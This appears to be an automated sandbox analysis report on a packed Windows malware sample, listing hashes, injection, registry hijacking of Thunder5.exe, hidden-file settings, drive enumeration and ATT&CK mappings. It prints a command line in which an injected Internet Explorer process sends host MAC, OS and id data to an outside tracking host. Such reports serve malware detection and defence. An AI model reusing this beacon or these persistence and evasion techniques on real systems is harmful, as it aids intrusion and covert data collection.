Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
31/12/2023, 10:09
Static task
static1
Behavioral task
behavioral1
Sample
3231001d2573a1acc9cf281f0d9fc8e3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
3231001d2573a1acc9cf281f0d9fc8e3.exe
Resource
win10v2004-20231215-en
General
-
Target
3231001d2573a1acc9cf281f0d9fc8e3.exe
-
Size
264KB
-
MD5
3231001d2573a1acc9cf281f0d9fc8e3
-
SHA1
435ede149656773acfeaf0a179d466672f295a09
-
SHA256
8452ea444f3e8d6b65b8ec9dbf3861f3115317b355f655ece5451270b3d7565c
-
SHA512
a76f8db333cbc0f5f68768f1fa2d586767883705177b7d5d82e12fa0670ca6e144a0932376326c19d4bb28b5a2baf8b3f1b1e5b3f71cacc61a86eea4f8af3edf
-
SSDEEP
6144:3+yFgv5dOMKyiQOtrNuvEBPTJaWVcInQxJlWwKiyVEqt:IrOMpdqNmEBYW2/JlQ5J
Malware Config
Signatures
-
Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Sets file execution options in registry 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe 3231001d2573a1acc9cf281f0d9fc8e3.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe\Debugger = "svchost.exe" 3231001d2573a1acc9cf281f0d9fc8e3.exe -
resource yara_rule behavioral2/memory/4772-1-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-2-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-3-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-8-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-9-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-10-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-7-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-12-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-6-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-23-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-25-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-41-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-49-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-54-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-63-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-77-0x0000000000400000-0x0000000000457000-memory.dmp upx behavioral2/memory/4772-91-0x0000000000400000-0x0000000000457000-memory.dmp upx -
resource yara_rule behavioral2/memory/1728-26-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-28-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-30-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-31-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-34-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-35-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-38-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-50-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect behavioral2/memory/1728-66-0x0000000000400000-0x0000000000415000-memory.dmp vmprotect -
Enumerates connected drives 3 TTPs 20 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\L: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\R: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\S: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\T: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\V: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\E: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\J: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\K: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\Q: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\X: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\G: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\N: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\W: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\Y: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\H: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\M: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\O: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\P: 3231001d2573a1acc9cf281f0d9fc8e3.exe File opened (read-only) \??\U: 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 864 set thread context of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 set thread context of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 set thread context of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Tasks\9 3231001d2573a1acc9cf281f0d9fc8e3.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31081370" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000046600867cea8cb4995f7301d78886de600000000020000000000106600000001000020000000962717d4933b575bf8d3b9bb72d22e5f1702beb0a7863ae737982dfb1b853a2a000000000e8000000002000020000000a753ccbbeb7d11fafccb4fbd016cb8395168a2a1782e813884e997f3e24a9c1220000000090fdffbe5d96b9a285d567373f5b1a4e4b3e35c8c080ced08ccd285bc8c7915400000001e3320999d00234c051b96e20d840e29658403565dc3b94ac1105cc037025c0e31651e8a5c953d029f4f0c8d72d9bea9ffd02111af5e5d79970f3018063892a8 IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31081370" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3183356349" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3183356349" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3177106510" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a09ea8bd9a43da01 IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31081370" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{E8D8A4B4-AF8D-11EE-BD28-F68B0B0A1028} = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31081370" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "411638427" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3177106510" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000046600867cea8cb4995f7301d78886de600000000020000000000106600000001000020000000932808cde42cb8c91394557456fe5e1cfef552ea7eefd3f13c4555e8e7007274000000000e8000000002000020000000fc343cc3202430708ac17b1f1de3da70ca024f48a85eb0e32f5574a751da700f2000000083be1a7182c8342c104898cb21100546091fdbe45c071fe037fe42f968bcba3f40000000476d4e9b498df33f97042650aa0c129a1991b4164200d3a0144d56bec74d8aca1e327b03efa5bd411b2acdb8c938499eeb61f77bbae29a5f9ef5acfbc8fe8336 IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a00fabbd9a43da01 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 38 IoCs
pid Process 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2220 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 4772 3231001d2573a1acc9cf281f0d9fc8e3.exe 4772 3231001d2573a1acc9cf281f0d9fc8e3.exe 4772 3231001d2573a1acc9cf281f0d9fc8e3.exe 4992 IEXPLORE.EXE -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 4772 3231001d2573a1acc9cf281f0d9fc8e3.exe 4772 3231001d2573a1acc9cf281f0d9fc8e3.exe 4772 3231001d2573a1acc9cf281f0d9fc8e3.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 4992 IEXPLORE.EXE 4992 IEXPLORE.EXE 2112 IEXPLORE.EXE 2112 IEXPLORE.EXE 2112 IEXPLORE.EXE 2112 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 4772 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 89 PID 864 wrote to memory of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 wrote to memory of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 wrote to memory of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 wrote to memory of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 wrote to memory of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 wrote to memory of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 wrote to memory of 2220 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 93 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 864 wrote to memory of 1728 864 3231001d2573a1acc9cf281f0d9fc8e3.exe 98 PID 1728 wrote to memory of 4992 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 105 PID 1728 wrote to memory of 4992 1728 3231001d2573a1acc9cf281f0d9fc8e3.exe 105 PID 4992 wrote to memory of 2112 4992 IEXPLORE.EXE 106 PID 4992 wrote to memory of 2112 4992 IEXPLORE.EXE 106 PID 4992 wrote to memory of 2112 4992 IEXPLORE.EXE 106
Processes
-
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4772
-
-
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"2⤵
- Modifies visiblity of hidden/system files in Explorer
- Sets file execution options in registry
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220
-
-
C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://tongji.maxjust555.cn/avastcnzztj/ddqqbo.htm?mac=-955637396&os=windowsXP&ver=20090323&id=-1073300490.93⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4992 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2112
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
3Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
15KB
MD51a545d0052b581fbb2ab4c52133846bc
SHA162f3266a9b9925cd6d98658b92adec673cbe3dd3
SHA256557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1
SHA512bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d
-
Filesize
17KB
MD55a34cb996293fde2cb7a4ac89587393a
SHA13c96c993500690d1a77873cd62bc639b3a10653f
SHA256c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
SHA512e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee